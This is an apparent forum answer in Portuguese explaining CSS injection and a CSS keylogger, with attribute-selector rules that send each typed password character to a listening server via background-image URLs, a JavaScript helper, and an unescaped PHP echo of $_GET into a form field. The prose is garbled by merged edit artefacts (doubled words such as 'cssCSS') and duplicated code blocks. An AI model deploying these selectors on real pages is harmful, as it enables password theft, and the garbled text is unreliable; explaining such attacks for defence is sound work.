CSS Injection é sim um ataque que pode asàs vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpressWordPress em que possibilita o usuário inserir o seu propriopróprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do cssCSS, você já deve ter reparado que ele utiliza o parametro urlparâmetro url
sendo possivelpossível adicionar uma urlURL externa nesse estilo. Com essa possibilidade é possível hookarhookar eventos de teclas e criar um estilo para cada tecla um exemplo.
Se você tem um formulário com um inputinput
que contenha uma senha:
<input type="password" />
<input type="password" />
Seria possível dessa forma, o invasor injetar um cssCSS que hookahooka esse evento, ficando dessa forma:
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
Você adicionando um servidor que ouve essas requisições seria possivelpossível saber que a tecla "a"a foi pressionada, assim como seria possivelpossível a tecla "b"b, "c"c e assim por diante, é trabalhoso porém é completamente possivelpossível criar um keyloggerkeylogger em CSS. Também é possível inserir um javascriptJavaScript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link
Keyloggerkeylogger CSS:, https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.cssveja este link.
Editado
Para esclarecer os comentários, você necessitaria sim de algo que disparacedisparasse o evento, no caso um javascriptJavaScript mesmo, mas oqueo que eu quis passar aqui foi a idéia do css..CSS. Com o código jsJavaScript adicionado funcionaria o keylogger... Porémkeylogger, porém é notório que a falha não é ocorrida pelo jsJavaScript e sim pela urlURL do cssCSS:
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
E mesmo que não seja adicionado o jsJavaScript, seria possível sim captar os dados, não atuando como um keyloggerkeylogger exatamente, porém ainda funcionando, pois mesmo que o cssCSS não funcione como um listener, ainda existeexistem formulários que são preenchidos os valuesvalues pelo phpPHP, exemplo que ainda ocorre hoje em dia:
<form>
<input type="login" value="<?php echo $_GET['login']; ?>" />
</form>
<form>
<input type="login" value="<?php echo $_GET['login']; ?>" />
</form>
Você também já deve ter reparado que ele só pegará a ultimaúltima letra... Mas a questão aqui é que é sim possível pegar oqueo que digitou, mesmo não sendo a palavra por completacompleto.